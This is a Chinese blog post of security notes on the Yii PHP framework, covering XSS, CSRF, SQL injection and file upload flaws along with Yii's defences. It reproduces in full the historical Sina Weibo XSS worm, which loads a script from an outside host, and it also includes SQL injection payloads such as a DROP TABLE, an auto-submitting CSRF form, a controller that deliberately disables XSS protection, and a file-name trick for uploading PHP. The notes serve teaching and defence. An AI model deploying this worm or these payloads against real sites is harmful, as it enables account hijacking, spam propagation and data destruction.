Yii框架安全笔记

最新推荐文章于 2025-06-21 16:12:39 发布
原创 最新推荐文章于 2025-06-21 16:12:39 发布 · 2.7k 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#yii #xss-csrf

XSS攻击

认识XSS

XSS又称CSS，全称Cross SiteScript，跨站脚本攻击，是Web程序中常见的漏洞，XSS属于被动式且用于客户端的攻击方式，所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码，当其它用户浏览该网站时，这段HTML代码会自动执行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS攻击类似于SQL注入攻击，攻击之前，我们先找到一个存在XSS漏洞的网站，XSS漏洞分为两种，一种是DOM Based XSS漏洞，另一种是Stored XSS漏洞。理论上，所有可输入的地方没有对输入数据进行处理的话，都会存在XSS漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于script。

XSS攻击造成的危害

：

  • 盗取用户信息
  • 非法转帐
  • 篡改系统信息
  • 网站挂马

盗取用户信息原理：

  1. 用户登录，服务器会生成一个SESSION文件保存用户登录状态信息
  2. 服务器会把这个SESSION文件名经过相关转换，变成一个字符串，服务器发生响应会带上这个字符串，浏览器拿到这个字符串会存储在cookie中
  3. 我们用别人的这个cookie去访问服务器（可以直接在需要登录的页面将获取到的cookie种在浏览器上，刷新下，document.cookie = cookie_login_in 成功则登录），服务器根据这个cookie查找到SESSION文件，这样我们就相当于用别人的账号登录了这个网站

怎么防止别人盗取cookie呢？

可以通过在服务器的响应信息中，服务器通过标记某些cookie为httponly，在浏览器中就无法通过js脚本读取这些cookie，xss就只能通过请求头信息查看登录cookie来完成盗号功能

非法转账

问：什么是非法转账？
答：把js代码注入到他人转账页面，打开转账页面，js代码运行，自动填写收款人、付款金额，并且触发下一步按钮（或付款按钮）

1、构建非法转账链接

http://shenghuo.alipay.com/send/payment/fill.htm?_pdType=adbhajcaccgejhgdaeih<script>alert(3)</script>

代码拼接至可以运行
2、找一个博客或论坛，发表文章，暗含该链接
3、让尽可能多的人点击这个链接，跳转到他的支付宝转账链接，来运行这个脚本代码

反射型XSS

反射型XSS：链接参数里面有js脚本代码，当传递给后台服务器后，服务器又原封不动的把参数返回给浏览器，浏览器识别这段js脚本代码后运行了

比如访问：127.0.0.1/Yii/yii2-demo/web/index.php?r=xss/xss&name=<script>alert("hello world")</script>

如果有弹出框出来，就完成了一次反射型xss（火狐浏览器会弹出来，360和chrome浏览器不会，因为这两个浏览器有XSS防护机制）

//控制器接收传递的参数并输出
<?php
//app指的是网站根目录
//controllers
namespace app\controllers;

use yii\web\Controller;
use Yii;
/**
 * XSS防护学习
*/
class XssController extends Controller
{
    /**
     * 在浏览器地址栏注入xss:  http://127.0.0.1/Yii/yii2-demo/web/index.php?r=xss/xss&name=%3Cscript%3Ealert(%22hello%20world%22)%3C/script%3E`
     */
    public function actionXss(){
        //==========================================
        //如果不加下方的取消防护XSS攻击，则在谷歌浏览器会提示以下错误信息，被goole自动屏蔽了
        //The XSS Auditor refused to execute a script in 'http://127.0.0.1/Yii/yii2-demo/web/index.php?r=xss/xss&name=%3Cscript%3Ealert(%22hello%20world%22)%3C/script%3E`'
        // because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.
        //==========================================
        \Yii::$app->response->headers->add('X-XSS-Protection', '0');//关闭XSS防护才能看出效果
        echo \YII::$app->request->get('name');        
    }
}

XSS攻击之蠕虫

下面是新浪微博被攻击的蠕虫代码

function createXHR(){
    return window.XMLHttpRequest?
    new XMLHttpRequest():
    new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
    xmlHttp = createXHR();
    xmlHttp.open("GET",url,false);
    xmlHttp.send();
    result = xmlHttp.responseText;
    id_arr = '';
    id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
    for(i=0;i<id.length;i++){
        sum = id[i].toString().split('"')[3];
        id_arr += sum + '||';
    }
    return id_arr;
}
function random_msg(){
    link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
    var msgs = [
        '郭美美事件的一些未注意到的细节：',
        '建党大业中穿帮的地方：',
        '让女人心动的100句诗歌：',
        '3D肉团团高清普通话版种子：',
        '这是传说中的神仙眷侣啊：',
        '惊爆!范冰冰艳照真流出了：',
        '杨幂被爆多次被潜规则:',
        '傻仔拿锤子去抢银行：',
        '可以监听别人手机的软件：',
        '个税起征点有望提到4000：'];
    var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
    msg = encodeURIComponent(msg);
    return msg;
}
function post(url,data,sync){
    xmlHttp = createXHR();
    xmlHttp.open("POST",url,sync);
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    xmlHttp.send(data);
}
function publish(){
    url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
    data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
    post(url,data,true);
}
function follow(){
    url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
    data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
    post(url,data,true);
}
function message(){
    url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
    ids = getappkey(url);
    id = ids.split('||');
    for(i=0;i<id.length - 1 & i<5;i++){
        msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
        msg = random_msg();
        msg = encodeURIComponent(msg);
        user = encodeURIComponent(encodeURIComponent(id[i]));
        data = 'content=' + msg + '&name=' + user + '&retcode=';
        post(msgurl,data,false);
    }
}
function main(){
    try{
        publish();
    }
    catch(e){}
    try{
        follow();
    }
    catch(e){}
    try{
        message();
    }
    catch(e){}
}
try{
   x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

XSS攻击防范

Yii转码防范

/**
 * XSS转码防范
 * 访问：127.0.0.1/Yii/yii2-demo/web/index.php?r=xss/xss2&script=<script>alert("hello world xss")</script>
 */
public function actionXss2()
{
    \Yii::$app->response->headers->add('X-XSS-Protection', '0');//部分浏览器关闭XSS防护才能看出效果
    $script = \Yii::$app->request->get('script');
    echo $script;//未过滤的输出
    //echo \yii\helpers\Html::encode($script);//转码过滤输出

}

上面的例子用了\yii\helpers\Html::encode()转码防范
Yii内部原理：
找到vendor\yiisoft\yii2\helpers\BaseHtml.php

/**
 * Encodes special characters into HTML entities.
 * The [[\yii\base\Application::charset|application charset]] will be used for encoding.
 * @param string $content the content to be encoded
 * @param boolean $doubleEncode whether to encode HTML entities in `$content`. If false,
 * HTML entities in `$content` will not be further encoded.
 * @return string the encoded content
 * @see decode()
 * @see http://www.php.net/manual/en/function.htmlspecialchars.php
 */
public static function encode($content, $doubleEncode = true)
{
    return htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE, Yii::$app ? Yii::$app->charset : 'UTF-8', $doubleEncode);
}

Yii过滤防范

/**
 * XSS过滤防范
 * 访问：127.0.0.1/Yii/yii2-demo/web/index.php?r=xss/xss2&script=start<script>alert("hello world xss")</script>end
 */
public function actionXss3(){
    \YII::$app->response->headers->add('X-XSS-Protection','0');
    $script = \YII::$app->request->get('script');
    //这个函数使用了lexer技术，可以识别HTML里的JS、HTML、CSS三种代码，并把js过滤掉
    //echo \yii\helpers\HtmlPurifier::process($script);//output:  startend
}

CSRF攻击

认识CSRF攻击

Cross Site Request Forgery, 跨站域请求伪造）是一种网络的攻击方式，该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点，从而在并未授权的情况下执行在权限保护之下的操作，有很大的危害性。
用户已经登陆的情况下，伪造表单，生成链接并诱使用户进行点击，从而盗用用户身份进行操作（发贴，评论，转账等）
攻击者并不能通过CSRF攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。
get型的CSRF攻击：
1、该用户登录了某银行网站
2、构造了某银行转账URL：http://www.xxxbank.com/index.php?from=zhangsan&to=lisi&money=400
3、用户点击了这个链接，就会执行转账过程，完成一次CSRF攻击

post型的CSRF攻击

伪造post请求
1、伪造form表单，要伪造相同表单控件，同样提交到原来的后台所处理页面
2、用户要先登录到原来form表单所在的系统
3、诱导用户来到我们的form表单，自动提交到目标服务器进行修改删除操作

示例代码：

<form action="http://127.0.0.1/Yii/yii2-demo/web/index.php?r=csrf/csrf"  method="post" id="form">
    <input type="text" name="post_title" value="csrf_attack" />
</form>

<script>
    document.getElementById('form').submit();//用户进来此页面后自动提交表单
</script>

CSRF攻击防范

防范csrf：
1，验证码：比较有效，但是降低用户体验；
2，referer头，需要考虑正常访问没有referer头的情况；
3，token, 响应请求时返回的防伪标志

Yii中对CSRF的防范

Yii通过csrfToken防范CSRF

Yii中表单提交必须要有_csrf的值，防止被CSRF攻击

请求代码

<?php
//app指的是网站根目录
//controllers
namespace app\controllers;

use yii\web\Controller;
use Yii;
/**
 * CSRF防护学习
*/
class CsrfController extends Controller
{
    /**
     * 地址：http://127.0.0.1/Yii/yii2-demo/web/index.php?r=csrf/csrf
     * 如果不携带csrfToken的话，会提示Bad Request (#400) 错误
     * @return type
     */
    public function actionCsrf()
    {   
        if(\Yii::$app->request->isPost){
            echo \Yii::$app ->request->post('title');
        }else{
            $csrfToken = \Yii::$app -> request -> csrfToken;
            return $this->renderPartial('csrf', ['csrfToken'=>$csrfToken]);
        }
    } 
}

html代码



<form action="" method="post" >
    <input name="title" value="hello csrf"  type="text"/>
    <!--Yii中表单提交必须要有_csrf的值，防止被CSRF攻击-->
    <input type="hidden" name="_csrf" value="<?=$csrfToken;?>" />
    <input type="submit" value="提交"/>
</form>

参考文章：从Yii2的Request看其CSRF防范策略

SQL注入攻击

SQL注入攻击的方式

Sql注入：
将要执行的sql语句采用拼接的方式组装时，就存在sql注入的可能；
原本要查询的字符串在拼接后发生发“越狱”，部分字符串被数据库识别成可执行语句，
导致意外的操作和查询结果
防范：
1，屏蔽关键字和敏感词，有影响业务逻辑的可能；
2， 对传入变量转义，避免变量的内容越狱
3，采用UTF-8编码，不要使用GBK（重要）
4，PHP的话，采用PDO操作mysql

#例子一：
select * from admin where name='admin' and password='123456'
#如果用户的名字是   name = admin' --
#那么查询语句就变成
SELECT * FROM  admin  WHERE  username = 'admin' -- ' and password=' 123456 ';
#在数据库中，--表示注释，则后面的会被忽略，如果这是管理员用户登录时的验证，则不需要密码就可以正常的登录到系统中

#例子二：
select * from admin where name='admin' and password='123456'
#如果用户的名字是  name = '; drop table users; --
#那么查询语句就变成
select * from admin where name=' '; drop table users; -- ' and password='123456'
#如果运行，会把users表删除

#例子三：
#在一个论坛查找积分在60以下且关键字是youyiku的帖子，会运行以下sql语句
select * from articles where score < 60 and title like '%youyiku%';
#如果查找关键字：  ' or 1=1 --
select * from articles where score<60 and title like '%' or 1=1 -- %'
#就突破了这个限制，会把所有帖子查找出来

Yii的SQL注入防范

1、采用PDO操作数据库
2、对传输的数据过滤

<?php
namespace app\controllers;
use yii\web\Controller;

class SqlController extends Controller{

    /**
     * 通过PDO操作数据库的方式来防止sql注入
     * 如果在数据库配置中'emulatePrepare'=>false，则占位符转义是在数据库端，目的是由数据库对字符串进行转义操作，阻止sql注入
     * 运行下面代码，sql语句会分成两部分(可以采用wireshark监听步骤):
     * 向MySQL传递第一份数据：select * from users where name=?
     * 向MySQL传递第二份数据：zhangsan，会在MySQL进行转义，就算传过来的是中文和单引号，也会把单引号转义之后再执行sql语句，就防止了sql注入
     */
    public function actionTest(){
        $user = (new \yii\db\Query())
            ->select('*')
            ->from('mrs_customer')
            ->where('name=:name',[':name'=>'张三'])
            ->one();

        print_r($user);
    }
}

文件上传漏洞

fiddler可以监听HTTP请求，并篡改请求的数据，比如篡改上传的图片的名字

上传文件数据时，请求数据可以在到达服务器前被拦截并篡改
content-type可被修改， 文件名中加入冒号（:）,从而可以通过后缀名（比如服务器端有验证上传的图片后缀必须为jpg,jpeg..）验证，
并使move_uploaded_file执行时丢弃：之后的部分，使上传文件变成可执行的php
若上传文件没被重命名或重命名后的名字被发现，则可使文件可被任意执行
处理方式：严格检查文件，禁止出现”:”, 重命名文件，禁止目录列出文件，取消上传目录文件的执行权限

<?php
   /**
    * 上传的文件名为 test.php.jpg
    * 如果通过fiddler篡改HTTP请求，将文件名改为test.php:.jpg，则在服务器端不重命名的情况下，会保存为test.php
    */
    if($_POST){
        $ext = pathinfo($_FILES['photo']['name'],PATHINFO_EXTENSION);
        if(in_array($ext, ['png','jpg','gif'])){
            echo '类型检测成功';
            //下方代码，直接保存用户上传的文件名是很不安全的
            //比较好的处理方式是：
            //1、重命名文件
            //2、取消上传目录文件的执行权限
            //3、严格检查文件，禁止出现":"
            move_uploaded_file($_FILES['photo']['tmp_name'], './'.$_FILES['photo']['name']);
        }
    }

    ?>

<form action="" method="post" enctype="multipart/form-data">
    <input type="text" name="title" value="this is a title &#"/>
    <input type="file" name="photo"/>
    <input type="submit" value="提交"/>
</form>
yii反序列化漏洞复现及利用
weixin_44576725的博客
04-06 6526
yii反序列化漏洞 Yii框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。 Yii 是一个通用的 Web 编程框架，即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持，它特别适合开发大型应用， 如门户网站、社区、内容管理系统（CMS）、 电子商务项目和 RESTful Web 服务等。 Yii 当前有两个主要版本：1.1 和 2.0。 1.1 版是上代的老版本，现在处于维护状态。 2.0 版是一个完全重写的版本，采用了最新的技术和协议
从某达OA到Yii2框架的cookie反序列化漏洞研究
HUANGXIN9898的博客
10-05 733
自身的一个tdAuthcode加解密函数来加密payload**，从而可以绕过一些防御检测。某达oa。
Yii 安全
chishe6345的博客
05-03 132
1、跨站脚本攻击的防范（xss） // 纯文本内容输出 CHtml::encode(); // Html文本内容输出 $purifier = new CHtmlPurifier; echo $purifier->purify($content); // 或 $this->beg...
Yii框架安全特性
baidu_zhongce的博客
12-24 1882
Yii框架的安全特性主要体现在这几个方面： SQL注入的防范措施 XSS的防范措施 CSRF的防范措施 COOKIE验证机制 访问控制过滤器 对magic_quotes_gpc的判断
Yii框架开发指南：核心概念与实践应用
最新发布
weixin_34535286的博客
06-21 1017
在深入探讨Yii框架的高级应用之前，我们需要先了解它的核心概念。Yii，发音为“Yee”，是一个高性能的现代PHP框架，设计用于开发大型Web应用程序。Yii框架遵循MVC（Model-View-Controller）架构模式，旨在提高开发效率，加强代码的重用性和可维护性。Yii的特点包括严格的输入验证、安全性措施、和强大的缓存支持，这些特点使得Yii成为开发安全、可扩展和高性能Web应用的理想选择。在本章中，我们将对Yii框架的基本组成部分和其核心功能进行简单介绍，为后续章节的深入学习打下坚实的基础。
Yii框架开发安全考虑
Feebas
12-14 2375
这篇文章是作为补充Yii框架开发安全考虑，因为Yii教程里几经含有了开发过程中需要考虑的安全教程。 但是基于那个教程里没有提到所有常见的web攻击，所以在这里补充两个最常见的web攻击: SQL注入式和Magic URL. SQL注入式 SQL注入式是一种最常见并且最容易实现的一个web应用的攻击，这个攻击已经在最近的几年内上升为第一个web开发的安全问题。这种攻击发生于当你(开发者)获取用户
php对数据进行过滤输出
mrtwenty的博客
07-31 1107
为了避免跨站脚本攻击、xss等安全问题，yii框架对输出到视图层的数据提供了一些方法供我们使用，例如Html::encode、HtmlPurifier::process，研究了下yii框架的源码，将其抽取出来，作为一个小组件，记起来，以后可以单独使用: 1、首先是 Html::encode ,是使用php的原生函数htmlspecialchars，我们跟着模仿一个: <?...
Yii框架学习笔记.pdf
06-18
本篇学习笔记将详细介绍Yii框架的基本概念，包括请求处理流程、组件、事件与行为、错误和日志处理、国际化以及视图和控制台应用等方面。 ### 请求的处理流程 1. **项目入口脚本**：在Yii框架中，项目的入口脚本...
Yii框架学习笔记之应用组件操作示例
01-03
本文实例讲述了Yii框架学习笔记之应用组件操作。分享给大家供大家参考，具体如下： 所有的组件都应声明在config/web.php //组件声明在该数组下 'components'=>array( //自定义组件1 - 函数形式 'customComponent1...
Yii框架学习笔记之session与cookie简单操作示例
10-17
本篇笔记将重点介绍Yii框架中session与cookie的操作方法。 ### Session操作 在Yii框架中，Session是一种用于存储用户特定信息的数据存储机制，通常用于跟踪用户状态。Yii框架对Session的处理抽象了一个Session组件...
YII框架学习笔记之命名空间、操作响应与视图操作示例
01-02
本文实例讲述了YII框架命名空间、操作响应与视图操作。分享给大家供大家参考，具体如下： YII基础准备 1.命名空间 <?php /****假设有三个同名的类，输出的值为A，B,C****/ use a\b\c\apple; use d\e\f\apple as ...
通过几道CTF题学习yii2框架
m0_59598029的博客
02-11 320
Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架，之前的版本存在反序列化漏洞，程序在调用时，攻击者可通过构造特定的恶意请求执行任意命令，本篇就分析一下yii2利用链以及如何自己去构造payload，并结合CTF题目去学习yii2框架。
php探针入侵,【防护方案】Yii2 反序列化远程命令执行漏洞 (CVE-2020-15148)
weixin_36012511的博客
03-28 920
一、综述近日监测到，Yii Framework 2 在其 9月14 日发布的更新日志中公布了一个反序列化远程命令执行漏洞(CVE-2020-15148)。官方通过给yii\db\BatchQueryResult类加上__wakeup()函数，禁用了yii\db\BatchQueryResult的反序列化，阻止了应用程序对任意用户输入调用’unserialize()’造成的远程命令执行。Yii2 是...
13_框架漏洞
qq_45301512的博客
12-19 813
因为要调试每一个漏洞需要花费大量的步骤,所以我这里只列出了触发点和触发语句,某些漏洞给出了poc链。
CVE-2020-15148--Yii2 反序列化漏洞复现
Monica的博客
09-26 1707
简介： YiiFramework是一个基于组件、用于开发大型Web应用的高性能 PHP 框架。Yii提供了今日Web 2.0应用开发所需要的几乎一切功能。Yii是最有效率的PHP框架之一。 Yii2 2.0.38 之前的版本存在反序列化漏洞，程序在调用unserialize 时，攻击者可通过构造特定的恶意请求执行任意命令。 环境部署： 下载地址： https://github.com/yiisoft/yii2/releases/tag/2.0.37 下载这个yii..
Yii2 反序列化漏洞(CVE-2020-15148)复现
玄道的网安博客
12-16 9739
漏洞概述 Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞，程序在调用unserialize 时，攻击者可通过构造特定的恶意请求执行任意命令。 环境搭建 到github上下载yii2的2.0.37版本 https://github.com/yiisoft/yii2/releases/tag/2.0.37 然后修改/config/web.php文件17行cookieValidationKey,可以随便定义 ...
15-PHP代码审计——yii 2.0.37反序列化漏洞
网络安全
06-06 1327
Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞，如果程序内部调用了unserialize() 反序列化时，那么程序就可能存在反序列化漏洞，攻击者可通过构造特定的恶意请求执行任意命令。 影响版本： yii2 v2.0.37版本以下 环境： yii-basic-app-2.0.37.tgz php7.0以上 poc： http://www.yii2.com/web/index.php?r=test/sss&.
XSS学习笔记
weixin_33675507的博客
03-22 267
XSS基础知识 略 XSS的防护 最简单的咯，str_replace()，例如： str_replace('<script>', '', $name) 但是，这也太好绕过了。。 PHP String 函数 实例 把预定义的字符 "<" （小于）和 ">" （大于）转换为 HTML 实体： <?php $str = "This is some &...
yii2 反序列化漏洞复现与分析
meteox的博客
11-29 965
环境搭建 漏洞在yii2.0.38之前的版本,下载2.0.37basic版本 https://github.com/yiisoft/yii2/releases/tag/2.0.37 修改/config/web文件的值 在当前目录输入php yii serve启动 复现 先构造反序列化的入口 新建一个controller <?php namespace app\controllers; class SerController extends \yii\web\Controller {
Yii2框架反序列化漏洞利用链(一)：妙用Faker\Generator的魔术旅程
qq_63949216的博客
03-06 1214
超详细,看不懂我直接把显示屏吃了!
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值